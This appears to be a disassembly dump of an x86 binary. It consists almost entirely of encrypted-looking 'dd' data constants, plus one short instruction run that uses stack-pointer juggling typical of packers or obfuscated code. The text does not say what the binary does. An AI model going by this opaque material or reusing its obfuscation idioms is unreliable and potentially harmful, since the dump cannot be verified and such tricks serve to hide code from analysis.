dd 250E134Eh, 36403B80h, 0EE05021Ch, 85625F3Dh, 802187AFh dd 14C47B5Eh, 867423ADh, 1A7AB495h, 859CD330h, 6032F0B6h dd 86737159h, 0B76995h, 9D57h, 375E00h, 94E70BBFh, 7A1DCFA7h dd 512591B3h, 0C8954C5Bh, 0A79476FEh, 0F10CC8A5h, 0B4FBB97Eh dd 3CB18FDh, 4553DC19h, 0D702C887h, 65C9A794h, 0CEE8B476h dd 0E5B17B10h, 0AA785527h, 2E6F24E2h, 0A794D69Ch, 15F58C3Eh dd 0FDDD7429h, 25969911h, 0C4BA5248h, 5A61D566h, 0A793FD70h dd 4CDBB86Ah, 5422C46h, 5403E22Bh, 132B1875h, 0E5A3E936h dd 7C3BF913h, 0A794A84Bh, 32001766h, 0A7844687h, 0A456A794h dd 43FACC8Ah, 0ED3FB7A3h, 43ECF1CEh, 0F34AF85Eh, 9487DEECh dd 304AFCA7h, 0D5575B46h, 0B4760BC9h, 200EEBE8h, 0D3F73863h dd 7A7946Eh, 0A70AB255h, 35CA4E05h, 4CE19FE7h, 3EF7B5E3h dd 0C7914632h, 47E9614Dh, 82749B94h, 71EBF49Dh, 0B30ECCE6h dd 0D1EB2979h, 98B2CC56h, 8F0547AEh, 908DA794h, 2CE3AB79h dd 119207D8h, 4D8EC504h, 0A7945F7Dh, 0A8F4AB5Dh, 0FFFFFF06h dd 0C4D657F5h, 17BC7106h, 726F8915h, 0E6D0FA3Bh, 580AA794h dd 6C72F1A1h, 8B20615Eh, 11AD97EBh, 0EA2B625Fh, 0A191E1E0h dd 0D9148FAh, 91E1784Eh, 0FBE75BA1h, 141800D2h, 34350Ah dd 15820000h, 0CD0401CFh, 6B226AB6h, 980A619Eh, 3431E3ADh dd 0D2890D1Dh, 0C4378F4Eh, 289CA191h, 3A41133Ch, 0C8FF0A14h dd 91B84387h, 2EE597A1h, 0EAE2h, 372F00h, 94E70BBFh, 661DCFA7h dd 33306AC3h, 8E49656h, 974E3953h, 27B27E13h, 0BE7C9604h dd 22090429h, 6E3E9444h, 0AC611F39h, 40FE9895h, 1914B76Eh dd 672E957Fh, 0FAA79468h, 227F6933h, 5F20AAEBh, 8BAA794h dd 5A7FAE51h, 3608C6CEh, 26081F1Ch, 643BBF76h, 0F8BE8D1Eh dd 5FA0E1DEh, 0E5AD9766h, 84CA4933h, 7478B9B6h, 0AAA7970Eh dd 501EFBF8h, 3263C224h, 0CDE4A75Eh, 253C397Dh, 0D29016h dd 0CC5C9949h, 0C6BD43C8h, 9307E52Bh, 1A6F8h, 0B4E64B00h dd 0F8BE8DCAh, 405ED10Eh, 89151956h, 0CED6629Fh, 1CFDE4h dd 45826C30h, 88C5AFF7h, 0CF0CF6A6h, 0D1523C5Eh, 9229A1E2h dd 9AB1A18Ch, 0C3CB57D9h, 7C4E8FC6h, 5EA794E6h, 0E845F5ACh dd 3129BF0Bh, 40F779FCh, 906909Dh, 593991D2h, 0EFA1A794h dd 159D8838h, 0C30401CFh, 0AD980A3Ch, 0D9985608h, 0A191C3EDh dd 5D8672E6h, 0A14398Bh, 0C4C0h, 0D6570D00h, 3A5106C4h dd 65C6A3F1h, 4DDD8037h, 9FD68B49h, 0E6A32768h, 8537A794h dd 94E74C7Eh, 25DC8EA7h, 94EB3D58h, 8F0924A7h, 0D3C568A5h dd 2C6EBFD6h, 0D41AF175h, 0BBD20906h, 273F9E6Fh, 0C95CCEB1h dd 0D42BF8AFh, 70AD977Ch, 0F55D4BEh, 8A034441h, 0D6A79720h dd 0B9F02724h, 8BBB5278h, 1813889Bh, 6A9607Ah, 4B88723Ah dd 8E32B7FFh, 0ECE52BADh, 0B9DD78h, 0F1380000h, 0B380BDA7h dd 65C603EDh, 1C104D37h, 0C9599680h, 25F4DBC5h, 79632BF7h dd 0BCA6EE3Ch, 7F1AD7Fh, 4F3963CAh, 2C9EDFCEh, 0AEA18C91h dd 0CB57D697h, 788FC6C3h, 0EDDDE4A8h, 0DEA794E6h, 0BA8C4A52h dd 0D3833AECh, 1B059796h, 0C4D65730h, 0DABC7106h, 5D6371F0h dd 2FA71F60h, 792BAD9Dh, 950726BBh, 0E4714EABh, 7CAD5698h dd 935155E5h, 4DF0A7C1h, 0A2B9B6E0h, 7F510F95h, 591094A2h dd 0E95016D5h, 46CCA49Bh, 514BE25Ah, 99032A67h, 0B6E646DBh dd 118BA2B9h, 0A787D65Ah, 0B0EA43BBh, 0F2A489C6h, 4E4EDEF5h dd 8307BE90h, 0AE8h, 0DA667D00h, 8B4214D2h, 5734753Ah dd 750AC8D2h, 8B20DEB8h, 0A237F5A1h, 0BD521094h, 0D66B296Dh dd 0EF84424Ah, 0CA15F3Fh, 22B77523h, 4DD18F15h, 815E5456h dd 4C6h, 4EE8300h, 5C243487h, 348668h, 24048900h, 54D468h dd 243C8900h, 8904EC83h, 0DF68240Ch, 5947D81Fh, 81D9F741h dd 0FF1DE4E1h, 47C1816Dh, 89DDE149h, 0EC8359C8h, 24248904h dd 4240481h, 5F000000h, 8B951h, 0E9810000h, 500333D8h dd 0C181F901h, 500333D8h, 0FF590189h, 835F2434h, 48B04C4h dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 0EF01E95Ch dd 471EFFFBh, 0C54D0F87h, 357C31D9h, 799C010Ah, 857BFB8h dd 0FFC50306h, 0D28C6AE0h, 30C9FE18h, 0DDB1C244h, 0F10A3574h dd 5148F07Bh, 48858C39h, 47D2048h, 9C53CA63h, 3823740Fh dd 3B3E2B43h, 1C548E79h, 8C27046Fh, 2E7EBB0Dh, 3A2CA622h dd 7E086362h, 0DD981A64h, 25EEA962h, 18F96D7Eh, 0F5DBBB57h dd 0A923A961h, 19BE938h, 0BE600000h, 6388CE89h, 58A0Fh dd 81660000h, 61CD15C9h, 6B17BB60h, 830F5D44h, 0 dd 6AB58D61h, 6A060859h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 18042444h, 42000000h, 0CE4DC352h, 8D4E830Eh dd 64ED785h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0AA295026h, 0E6297440h, 0E5806018h dd 922FB8C4h, 0E9614BEFh, 0Fh, 0A7BD8416h, 0D27C1819h dd 283D6975h, 0FF0869E6h, 11840FD0h, 0E9000000h, 0Ch, 3C117408h dd 8C41B332h, 0DC416323h, 11E9C3h, 0B4100000h, 9844FC11h dd 51801CF3h, 807AE739h, 66DA2C0Fh, 6AD98Ch, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 681DFDC3h dd 0D6F5C621h, 1840F7Bh, 0F9000000h, 17800Fh, 12E90000h dd 0B6000000h, 7EDC37D7h, 0DEEC218Eh, 1F952C20h, 0C4810095h dd 4C1F6B9h, 6B840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 8F4953C3h, 0E8A0F8Ch dd 0E9000000h, 9, 0A37636BBh, 0B6CA6AC3h, 8BFB8B76h, 0AEC032CBh dd 0CF2BFD75h, 0F92BD9F7h, 8B49D78Bh, 0CD00EBD9h, 1013F20h dd 74C00B00h, 0C708D18h, 0CB8BFA8Bh, 490A75A6h, 1B8FA75h dd 0EB000000h, 0EB008B09h, 0B8E4h, 0FCF0000h, 88Eh, 0E7816000h dd 1D412521h, 5AB96061h, 0B919C2E9h, 6DC89E7Fh, 885C761h dd 3F06085Ah, 0EB000101h, 60h, 17h dup(0) dd 0A9CE900h, 90E90000h, 6800000Ah, 6086202h, 0FB2358E9h dd 634368FFh, 4EE90608h, 68FFFB23h, 60863A6h, 0FB2344E9h dd 0E0A932FFh, 0FFD05674h, 1CED7593h, 3F0892B0h, 5F30B5D3h dd 24E834F3h, 4462CE9Fh, 6684F0B9h, 87A511DAh, 0BEC32F00h dd 1F294712h, 0BBC9D019h, 38BB4049h, 146D3668h, 199A2B49h dd 6BBECBD0h, 0CB56A873h, 9E220302h, 9CDE4A13h, 0E737088Eh dd 9893925Bh, 42139AA0h, 0F6BF4B43h, 0DEA9DBF7h, 0D6114590h dd 555B5360h, 0A0201CAh, 0BDB5B485h, 70686738h, 261E1DE6h dd 0D6CECD9Eh, 5B807F50h, 17E25622h, 0DC199F75h, 3A6CE0EDh dd 191E016Fh, 70E4F1D0h, 191E4FA5h, 221A27D0h, 9364EAF8h dd 0D8A0DC27h, 1E279964h, 151FD019h, 0C2BDBC8Dh, 0F178706Fh dd 0AF7AAC20h, 0D0191E41h, 0A2C2431h, 1CF5627h, 0E559AC75h dd 458AE8B3h, 5D6AD611h, 0EAA79A65h, 3F350032h, 0B7D61145h dd 0A7FB2AAh, 0CAD80A7Eh, 0B69763Fh, 0EBD61145h, 3A1BE6DEh dd 0C994C6F8h, 0D61145ABh, 0C3313E4Bh, 0B3D61145h, 32E3AEA6h dd 0E7A4E829h, 5F572ED0h, 39176873h, 4AA341h, 29F20000h dd 0A6B428F0h, 55504F20h, 32925Dh, 9A996AF2h, 8EE4A79Fh dd 0E8D61145h, 36BEADB6h, 38F0CBDh, 1100F8F6h, 0F76B78D6h dd 1100C62Ch, 0A9A1AED6h, 32DBF0FDh, 0CCCB9C24h, 0DCAFD9D1h dd 0EAFFD056h, 24477D14h, 4A000000h, 1328F029h, 31F70032h dd 9CFBE045h, 4FA56860h, 2BD61173h, 320116h, 0A59D66F2h dd 0FFD056DAh, 297D14EAh, 0E5B024FCh, 0DC146506h, 0B8D4D3E0h dd 64B5BB86h, 303DD012h, 647B7538h, 47C0D012h, 0C237BC4Ah dd 0A3FE5A3Ah, 4D000001h, 0CB9C2432h, 9C64A0D3h, 456F5D28h dd 0DAE7D611h, 8B5CE3DBh, 0CF563C1Fh, 0A9A87901h, 0A7465BAEh dd 28F029EAh, 70573A13h, 4139FF6Bh, 4FA2h, 32F100h, 45ED03CEh dd 7885D611h, 1145056Bh, 0E8E0EDD6h, 9FB444B5h, 0CC9D2432h dd 51324281h, 0D052C06h, 0EBDA18E3h, 8D9AD611h, 4FBB1019h dd 0F4093A88h, 544C9F68h, 325F3289h, 0AA10AB29h, 746CBF7Bh dd 217E86Eh, 2F477D14h, 4A000000h, 69BA2932h, 177DF0B9h dd 0EBBDEC1Fh, 10E16977h, 531E1611h, 45096732h, 0D8EDD611h dd 565F32C3h, 32EAFFD0h, 2D3A2629h, 0B7AF08B8h, 0FD29D86Fh dd 0FCE6B125h, 74D61145h, 62DBDF6Fh, 0E26CBBE6h, 0CC1F1A19h dd 505E7A79h, 0FEF9F8C9h, 87790006h, 2322F379h, 35D51B28h dd 909DD611h, 56EED13Dh, 0A7E9FECFh, 28F029EAh, 0B9B782B4h dd 39D61145h, 3269342Ch, 66316F29h, 0B030304h, 6B7006E9h dd 0A24139FFh, 62h, 28F029F1h, 0CE003213h, 1145ED03h, 0D5A62BD6h dd 8049D5DFh, 3B338681h, 11457A78h, 0E1737CD6h, 78737071h dd 475400F8h, 0E93A1D3h, 36433E3Dh, 0D6114738h, 0E8B3ABB8h dd 0D0565F32h, 0ADAC7D02h, 324A5FB2h, 0FE80029h, 332B356Ch dd 36ECF5EBh, 71194528h, 323D0800h, 0D9D19A24h, 33C4h dd 0F029C700h, 80D3A42Bh, 967326Bh, 0EDD61145h, 2932C3D8h dd 595B7054h, 8EB8B09Eh, 7D056BBh, 2E100101h, 859AEDB4h dd 21EC1E14h, 0D61145D3h, 0D39E96A3h, 8047h, 0FD294A00h dd 0F0E6B125h, 70D61145h, 0E56C6463h, 56C5A814h, 0A7E9FECFh dd 28F029EAh, 70573A13h, 4139FF6Bh, 2AA2h, 0F029F100h dd 321328h, 9FFEF0F7h, 3B339054h, 117F7A78h, 0D8EDFAD6h dd 0D0565F32h, 7D14EAFFh, 0CD9E2432h, 2FC0D5h, 29C30000h dd 321328F0h, 11450967h, 53DBEDD6h, 2D430E82h, 0C5D61145h dd 325065B8h, 9A24325Fh, 4DD3D9D1h, 46FF087Ch, 892B49FCh dd 141FEAE2h, 0FECF567Dh, 0B27B07FFh, 0D0A12846h, 45D01CD1h dd 0EE1CD611h, 4583F1BCh, 6673D611h, 0EE96936Eh, 41129967h dd 0E46C7AEEh, 54FEC813h, 0EF42E835h, 30B7D5F7h, 87B9EB5Fh dd 114DB6BCh, 24313ED6h, 0D6114DCEh, 0ECA199A6h, 8B0899B1h dd 8E5FE68Eh, 0D2AED722h, 6DD4935Eh, 818EDC14h, 6DA3CD82h dd 9F18D012h, 0CBDF14A2h, 19565A3Ah, 0A5000000h, 0FFFECF56h dd 1145244Ah, 706D4CD6h, 0CC7841C8h, 9E4C323h, 896CD82Bh dd 1906CF56h, 358F1662h, 1262578h, 0BD88FC84h, 0DC194A6Fh dd 8657DDE7h, 3B299487h, 0C97A3EF6h, 6CB72376h, 28F36731h dd 0DA1D4143h, 4A0B97A5h, 628C7983h, 62D62973h, 1DB25997h dd 140C19DAh, 405C5B68h, 6587AA37h, 150D1406h, 1D931852h dd 21EA76DAh, 0D4A22A22h, 2F2E814Ah, 8A353211h, 1FEBE861h dd 0B7A3F16h, 0B9B4B384h, 9442936Eh, 0EA3BB09Ch, 17F25035h dd 41000000h, 0B125FD29h, 1145F8E6h, 0F76B78D6h, 249061E9h dd 17F7h, 0FD29FA00h, 0D5D49D28h, 481387DAh, 0D611455Eh dd 4755C9D6h, 9F82EEBFh, 18747h, 24324A00h, 0A2D5CD9Eh dd 0A78EA371h, 0FECF56EAh, 350032E9h, 0D611453Fh, 90B2AAB7h dd 0FF6B70ADh, 5AA24139h, 92000000h, 6FC4A089h, 0A3970E88h dd 0E7CAAE66h, 0B7827ACDh, 2132F629h, 0B86C2E2Eh, 0C71AE36Eh dd 24325F74h, 0D4CFCE9Fh, 89E7B2DCh, 69D61145h, 2432475Ch dd 0D3CECD9Eh, 717FB1DBh, 1F1A19EAh, 0CE565C27h, 0F17B89FDh dd 420D2928h, 0D611452Ch, 6C64B7C4h, 477D14A1h, 2Fh, 2AF6294Ah dd 9673215h, 0EDD61145h, 5F32C3D8h, 89FDCE56h, 737FAC80h dd 0E9010B76h, 0AC65B0BCh, 0F0BBB3A0h, 85C62932h, 4151CACDh dd 566A0149h, 0DC12DDCFh, 94D61145h, 0B7C03487h, 7A3566Ch dd 0AC4B12CEh, 4D3B54h, 0A7EAB5ADh, 28F029EAh, 70573A13h dd 4139FF6Bh, 2EA2h, 0F029F100h, 321328h, 45ED03CEh, 5785D611h dd 1145668Ch, 0AE010ED6h, 45FDF3B6h, 6875D611h, 565F3253h dd 14EAFFD0h, 42477Dh, 294A0000h, 363C07F0h, 0BED61145h dd 32495EB1h, 11450967h, 0C3D8EDD6h, 0E0F70032h, 2529AFBAh dd 326D3830h, 45D19F24h, 2F827D7Ch, 0DDAB3137h, 38018B51h dd 0ECEB3E39h, 0CF1FA6F1h, 7091AB10h, 7D14081Dh, 15E0CA56h dd 0D61145DFh, 38018D97h, 420B95E5h, 0E16D7BEFh, 0B66B2018h dd 0D61145BDh, 838253DBh, 3635068Bh, 7C27242Dh, 46EEEB42h dd 747DF1BAh, 573DC92Eh, 0E76EBEB2h, 19FC1E16h, 201CA56h dd 33B87E0Ah, 15686362h, 285A6816h, 1145175Dh, 0E6B1DFD6h dd 0D6114588h, 10085B68h, 4903835h, 8F4CF3Bh, 0A7D6114Eh dd 39ED7B71h, 0FE44B45Ch, 9903FFFFh, 0D611455Fh, 11457600h dd 448EE7D6h, 0DCEAD611h, 8D888750h, 4498D295h, 0A0D2D611h dd 0F4F51D97h, 909D6F96h, 0D611AC62h, 4A0D0512h, 0D611AC20h dd 11AC47B1h, 0A37DA896h, 0CBFD2Fh, 1611ACF2h, 0BA7D7582h dd 1C17D4B0h, 5720ACBAh, 0A7A6B35Fh, 97D1B82h, 12A9C93Eh dd 0E53C491Ah, 94BE7A72h, 0A0515859h, 58000002h, 7C9A06CFh dd 9BB925F6h, 0B8D64213h, 0DBF9652Eh, 5A198556h, 0F4C54A0Eh dd 16DF6A88h, 37008CAAh, 5526ADCBh, 6D38E4E9h, 0D0192707h dd 56CEE1EFh, 7C8AFECFh, 2C2726F7h, 235A7F34h, 49D3E155h dd 8E868180h, 9F879964h, 0B2BFDC19h, 1E016B46h, 3B62D019h dd 601EE95Dh, 72DA11C4h, 2F662069h, 0ED383031h, 93F67367h dd 0D07C749Fh, 0FD464FC3h, 0A4FB32ABh, 0CCDA04FCh, 0C6087445h dd 23ABC994h, 3E4BDA01h, 0E8B94046h, 234234E9h, 0CA33DA01h dd 55EFBA2Eh, 1DD009F9h, 5C6A9C10h, 90403D4h, 92840B11h dd 984A9C7h, 0E93C49C4h, 13DC6775h dd 54DBF91Bh, 12DD0F83h, 0C40984DCh, 0DA8F8794h, 3CB048B5h dd 15EDB71h, 0B919BCEh, 0CCE8E73Ah, 706839BEh, 0C438C03Dh dd 2EFF8492h, 793C342Fh, 0C43884D7h, 0F4BA454Fh, 0A39E9D6Eh dd 6565150h, 0B5B0AF80h, 59E0EE62h, 77FE1C88h, 0F8F2A7A6h dd 0E9C8382Ah, 0FAF8C3BCh, 7AC838CAh, 0DBA61A6Dh, 0C2301049h dd 4E80F401h, 20AF6D83h, 71FB05F2h, 5BAEA9A8h, 1C89AE63h dd 0DE310287h, 0A3309F6Ah, 3542F825h, 0E98461DEh, 545B5CF2h dd 15Fh, 0DB471099h, 0FA6637BDh, 178354DCh, 3AA66FF9h dd 5AC6971Ch, 68B4F9Bh, 20ABC935h, 41CDEB57h, 67EE0C78h dd 79252A96h, 192640AEh, 0F2230D0h, 9E322932h, 1BEFFC41h dd 0EBB5F023h, 0AC9AAC77h, 0C5D2DC19h, 9C64A1C6h, 0DFE65D28h dd 0E4F2DA1Ch, 928D8C5Dh, 8AE1EE9Ah, 0D4C03103h, 0FC0A1112h dd 0FC000000h, 203EAA73h, 3F5DC99Ah, 5C7AE6B7h, 7F9D09D2h dd 0FEBD29FAh, 9869EEB2h, 0BA830E2Ch, 0DBA4304Eh, 0F9CA516Fh dd 11DC888Dh, 0D01926E3h, 32728593h, 453F3500h, 0AAB7D611h dd 7A067FB2h, 9FE13B06h, 0DDEBDC19h, 8D888758h, 0DDDCE995h dd 198D5EE5h, 9F509010h, 0E9634B4h, 0E9AEA3Dh, 0D2B4D45h dd 3341B586h, 2EE3DBACh, 7F079C09h, 1CE75BAEh, 0DA112866h dd 0ED76270h, 0F15D6A16h, 107C4DD3h, 6264C5CEh, 56D153B3h dd 0FFD0585Eh, 25EB7593h, 107CCFA0h, 289C6DF2h, 7A40971Fh dd 0B5B15B4h, 9CBEB67Fh, 0BC28F97Eh, 1CE26C7Ah, 7971C495h dd 0B31FE873h, 0D4400995h, 0EA5E2FB6h, 4242D3E1h, 34A8CE67h dd 550B69h, 0E6DEEBDAh, 521BA6C4h, 96629BE6h, 8FA95722h dd 1F29D008h, 0D2CDCC95h, 188807Fh, 8CDFA833h, 0DF320h dd 54F60000h, 93E1ACDEh, 63D61145h, 56935E56h, 0D0504CDh dd 0BEB6B586h, 726A6932h, 271F1EE7h, 0DAD2D1A2h, 8D858455h dd 433B3A03h, 0F3EBEABBh, 6F9D9C6Dh, 8F868h, 24348900h dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 68240489h, 7845h dd 51243C89h, 5011DFB9h, 81D1F757h, 0A79344E9h, 595851A2h dd 8904EC83h, 4832424h, 685F0424h, 4593h, 81240489h, 0BA32404h dd 478F01C6h, 86F8108h, 1C60BA3h db 8Bh, 3Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_4F2EAD ; --------------------------------------------------------------------------- db 11h dd 0B8B2F5DAh, 60864C7h, 0C38BC503h, 10E8h, 8BB7C500h dd 22DF6604h, 0ED18204Ah, 825DC465h, 0EE9ABh, 4E5A0000h dd 0A5230E2Eh, 56C3EF83h, 2FE09D9Ah, 0BEC08158h, 6000006Ch dd 9E9h, 1BF6D000h, 6DAEFE9Eh, 61FCADFAh, 0F0B6FF2Bh, 0E9380C8Bh dd 0Ah, 0C117367Ah, 42DC7B59h, 0E981728Dh, 106B6232h, 77F68166h dd 0EAF18176h, 80361E65h, 0C1815BCFh, 6DCAE552h, 0BF0F5650h dd 515B5AD9h, 8FDFBF0Fh, 0D3803804h, 41BB662Ah, 0C7EF8157h dd 0E92C44AEh, 12h, 7B308D88h, 0D6638265h, 0D529E5C9h dd 95EC6693h, 0C7818D5Fh, 2C44AEC3h, 9414FF81h, 850FFFFFh dd 15h, 5CABBE66h, 1EE9h, 15EBE400h, 8C1ADC33h, 0C4DCA5D2h dd 0BDBB562Ah, 5E4926D5h, 0FFFF6FE9h, 419191FFh, 8D9C4042h dd 8671E8Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 15629BBCh, 0E7800F24h, 0B3BA66B6h dd 0A58D8905h, 50060320h, 24E58589h, 0C75F0603h, 31A6585h dd 5FF806h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1504h, 0C3534300h, 0BF0F0D86h, 7185C7F9h, 60300h, 8B000000h dd 324D99Dh, 45B5FF06h, 6A06031Bh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 4A22C351h dd 65ED1820h, 95FF65B3h, 603171Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Bh, 76C35040h, 0FBFD4112h, 0F7D23A6h dd 1784h, 11860F00h, 0E8000000h, 0Bh, 8EE11756h, 0F8B072A2h dd 5FEF85B2h, 95FF006Ah, 60323A5h, 6AEBC08Bh, 96EE603Fh dd 6A61BD46h, 4515AD50h, 286D446Fh, 3543A3F6h, 4AF9E0F7h dd 63C6555h, 0A5FA35ECh, 0E0800534h, 4C6FDDE8h, 0D552CAEEh dd 71CAB74Eh, 95D56397h, 408D980Eh, 0A2B796B1h, 0B711681h dd 58BBB699h, 7A743B19h, 2BE7201Fh, 4ACC41F3h, 0D33E63AAh dd 0C4E4F2B9h, 0B66D5272h, 0AA0DF537h, 49F55B4Ch, 0C912CE89h dd 66E9F359h, 60000002h, 0F6D98C66h, 840F04C1h, 35h, 0B5FF016Ah dd 60302E1h, 7C58858Dh, 0D0FF0606h, 30718589h, 0FE8B0603h dd 680CEFC1h, 20060000h, 26A006Ah, 0D6857h, 95FF0001h dd 6033071h, 32E9h, 0A185C600h, 5606031Bh, 0C530DF68h dd 71B5FFA9h, 8D060324h, 67C5885h, 89D0FF06h, 305DD85h dd 71858D06h, 5006030Bh, 56A406Ah, 0DD95FF56h, 61060305h dd 0C3h, 2 dup(0) dd 0D48B5200h, 8428B60h, 68108589h, 428B0608h, 885890Ch dd 8B060868h, 85891042h, 608680Ch, 6846B58Dh, 858D0608h dd 5B7E35h, 5A61D0FFh, 8B000CC2h, 86810B5h, 8858B06h, 83060868h dd 8680CBDh, 840F0006h, 7, 2E90689h, 88000000h, 0CF06h dd 0 dd 8B520000h, 428B60D4h, 10858908h, 8D060868h, 86897B5h dd 35858D06h, 0FF005B7Eh, 8B5A61D0h, 8681085h, 4C206h dd 6810858Bh, 8B0608h, 68108589h, 0CF0608h, 60000000h dd 686DB589h, 85890608h, 6086869h, 501858Dh, 408B0603h dd 0A6858944h, 8D060868h, 868DCB5h, 35858D06h, 0FF005B7Eh dd 858B61D0h, 608686Dh, 699D8BC3h, 0F060868h, 33C43B7h dd 785B8BD8h, 68699D03h, 738B0608h, 69B50324h, 56060868h dd 8B207B8Bh, 0BD031C73h, 6086869h, 6869B503h, 83FC0608h dd 8B41FFC9h, 8686D9Dh, 3178B06h, 8686995h, 4C78306h, 0C084028Ah dd 0F840Fh, 33A0000h, 0FFDC850Fh, 4243FFFFh, 0FFFFE7E9h dd 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh, 386048Bh dd 8686985h, 6D858906h, 8B060868h, 8BCE8BF0h, 0A6BD81C1h dd 60868h, 0FC03000h, 0D85h, 14E8C100h, 0FFC25h, 8E900h dd 0E8C10000h, 3FF82512h, 0BD8B0000h, 60868A6h, 6070C83h dd 8B07148Bh, 3C8124C2h, 0FC18B81h, 5784h, 0A6BD8100h dd 60868h, 0FC03000h, 0D85h, 0AE8C100h, 3FFFFC25h, 8E900h dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h dd 80h, 1E840Fh, 0BD810000h, 60868A6h, 0C0300000h, 0E840Fh dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 14858DCFh dd 89060868h, 30AF185h, 0AA858D06h, 89060868h, 3213985h dd 71858D06h, 89060868h, 3220585h, 8E806h, 0A37D0000h dd 91AD9490h, 8CB62345h, 0C870F59h, 0E9000000h, 7, 0FD5D818Bh dd 812367FFh, 6AB9C1h, 0BBF88B00h, 2A44D927h, 416CC381h dd 31FFD5BBh, 548C40BAh, 0EF815824h, 16065505h, 64F2C081h dd 81F8666Fh, 1F53AE8h, 5CB25213h, 16F0815Eh, 505755B1h dd 0B70F018Fh, 4E983FAh, 6840Fh, 0C2810000h, 6C8E6913h dd 0BF850F4Bh, 0CCFFFFFFh, 0DEB7A1Dh, 63A71644h, 21F3E3A0h dd 4207F77Fh, 0F87B8B3Bh, 0D7FD5A7Eh, 7080198Bh, 1F32678Bh dd 77452C2Ah, 4A215876h, 0E72FD386h, 0F73D5B3Dh, 39325A01h dd 9C3256D2h, 973BD63Bh, 0BA57C6D6h, 9448966Ah, 0CA74B3A1h dd 0E4585A3Bh, 7231B26Ah, 60125A3Bh, 0D0BB03F8h, 0AB35E1Fh dd 27255E1Fh, 0C2735A3Bh, 0DD863FF8h, 358D553Ch, 0CFB1006Dh dd 3F315E76h, 96B6553Bh, 28325A3Bh, 54F5A8BAh, 933151D2h dd 7BB7D73Bh, 8E345251h, 71DA0B3Bh, 19325A3Bh, 156B9962h dd 0CF367E77h, 32367E7Fh, 0D2325A3Bh, 7C4F996Ah, 51C8E4ABh dd 0C86230A9h, 13C91374h, 1186E8ABh, 4658CEBEh, 273DB23Dh dd 24CE5A3Bh, 5858A283h, 0F24AECBFh, 0C237FE31h, 3CBF55AEh dd 26325A3Bh, 6C0E8CF7h, 0A03D0A65h, 93325A3Eh, 0C6313E85h dd 0C036D31Fh, 723EDA34h, 0B63D5A3Bh, 9C325A3Dh, 5373BDBAh dd 903D4C7Dh, 0E2A7A5C1h, 0C6345932h, 0E43259B0h, 0A485553Bh dd 0F9B9A1B0h, 0DADCDB5Dh, 0AB8FD940h, 2734593Fh, 2EB1534Eh dd 0CF317902h, 0B42B2E3Bh, 0CAF2D168h, 39325E41h, 86AFDFB2h dd 0D3BF5C38h, 2137EF84h, 0CB6989C4h, 0EA0BE7B8h, 90325C38h dd 0CA610A2Ch, 39325E41h, 86AFDFB2h, 0D3BF5C38h, 2137E895h dd 0CB6989C4h, 128C3CC3h, 8EF2D13Fh, 71DA0A3Bh, 19325A3Bh dd 156A9963h, 0CF367E7Fh, 31367E7Fh, 0D3325A3Bh, 99AE996Bh dd 0EEDBAF34h, 0EA325A3Bh, 9FEFF391h, 0E5BF29D6h, 0D2AFD7F7h dd 0CE345251h, 93325A30h, 0CA806C14h, 0FBA852E6h, 0F8B8713Bh dd 0F5B7D7F0h, 93345263h, 9ECD898Ch, 0CF615A51h, 93325A38h dd 92F1011Bh, 0E01606B2h, 76161EBAh, 39325A2Eh, 4FF10978h dd 8C8D0897h, 7E546221h, 173D9A30h, 0C9325A9Eh, 0C635A51h dd 72325A38h, 60F1031Bh, 981616B2h, 4A161EBAh, 27325A20h dd 78F10B7Ah, 596A91Bh, 0EB436064h, 723259B0h, 0F1B93C3Bh dd 0D15BC7B6h, 4E585C38h, 2731B26Ch, 0CC125A3Bh, 0B5BB05F8h dd 0A0B35E1Fh, 722F5E1Fh, 6E755A3Bh, 4C0133F8h, 0BDBEAB94h dd 28E4B5EBh, 933244B1h, 0C920B23Bh, 0C56F5A3Bh, 7462671Ah dd 3C47B83h, 0FA9F89E9h, 0CFE3ACEDh, 6DE2ACBAh, 2B68494Dh dd 0C9325A38h, 0C645A51h, 72325A38h, 67F1041Bh, 98162EB2h dd 4A161EBAh, 27325A2Eh, 82F10C7Dh, 39B90878h, 0B3D1A565h dd 0D6AFD762h, 5F345251h, 11D68D82h, 466A96BEh, 7532303Dh dd 933259D3h, 0A687A3Bh, 0C066D361h, 5676DB3Fh, 3932473Fh dd 5F60183Bh, 0C65C42B0h, 0BF1573Fh, 9FDB8995h, 64325A3Bh dd 0C640AE79h, 0E14AF3A4h, 0C6CAD1A0h, 0ABD8DBEBh, 457FFFCEh dd 3DB655FBh, 9C325A3Bh, 54BFA58Ch, 0E2311752h, 7233E2C3h dd 87545A3Bh, 7FCD33F9h, 0A40EF782h, 8EAFD76Ch, 0F9345251h dd 0CADA0A3Bh, 0C4325A3Bh, 0FB6A9963h, 0B8367E7Fh, 85367E7Fh dd 0E325A3Bh, 78B996Bh, 69762C8Ah, 0C936D134h, 5B545A3Bh dd 0F7BF07B0h, 3F3A02F7h, 9C36D134h, 0C4605A3Bh, 0F7CD05CBh dd 93325CD2h, 10E0E23Bh, 6F024B1Bh, 7DF251C9h, 393261BFh dd 0F5AFD73Bh, 0CF345976h, 2F9EA6E5h, 9331E239h, 0C9585A3Bh dd 0E431B26Eh, 2F125A3Bh, 55BB07F8h, 0D8B35E1Fh, 4E275E1Fh dd 72775A3Bh, 265061F8h, 0E8883C7Eh, 82D1A54Ch, 858893BAh dd 393FB378h, 0ACB15A3Bh, 922621EAh, 0D6B76E1Eh, 0F5B6FF31h dd 74BFA3B0h, 0E23A30A9h, 1C67D7B6h, 448A5C33h, 